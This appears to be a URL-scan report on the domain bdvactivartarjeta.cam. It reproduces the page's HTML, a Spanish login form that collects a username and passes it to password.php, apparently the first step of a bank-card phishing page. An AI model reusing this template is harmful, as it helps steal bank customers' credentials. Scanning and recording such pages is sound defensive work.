https://bdvactivartarjeta.cam/01/

제출된 URL:
https://bdvactivartarjeta.cam/01/
보고서 완료:

링크 · 0개 결과

JavaScript 변수 · 4개 결과

이름유형
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
validateUsernamefunction

콘솔 로그 메시지 · 0개 결과

HTML

<!DOCTYPE html><html lang="es"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bienvenidos - Usuario</title>
    <link rel="icon" href="imagenes/favicon.ico" type="image/x-icon">
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <div class="login-container">
        <!-- Logo -->
        <div class="logo-container">
            <img src="imagenes/logo.png" alt="Logo" class="logo">
        </div>
        <!-- Formulario -->
        <form class="login-form" action="password.php" method="GET" onsubmit="return validateUsername()">
            <h2>Iniciar sesión</h2>
            <label for="username">Usuario *</label>
            <input type="text" id="username" name="username" placeholder="Ingresa tu usuario" maxlength="16" required="">
            <span id="error-message" class="error-message"></span>
            <button type="submit">Continuar</button>
        </form>
    </div>
    <script>
        function validateUsername() {
            const usernameField = document.getElementById('username');
            const errorMessage = document.getElementById('error-message');

            if (!usernameField.value.trim()) {
                errorMessage.textContent = "No puedes dejar el usuario vacío";
                usernameField.focus();
                return false;
            }
            errorMessage.textContent = ""; // Limpia el mensaje si es válido
            return true;
        }
    </script>



</body></html>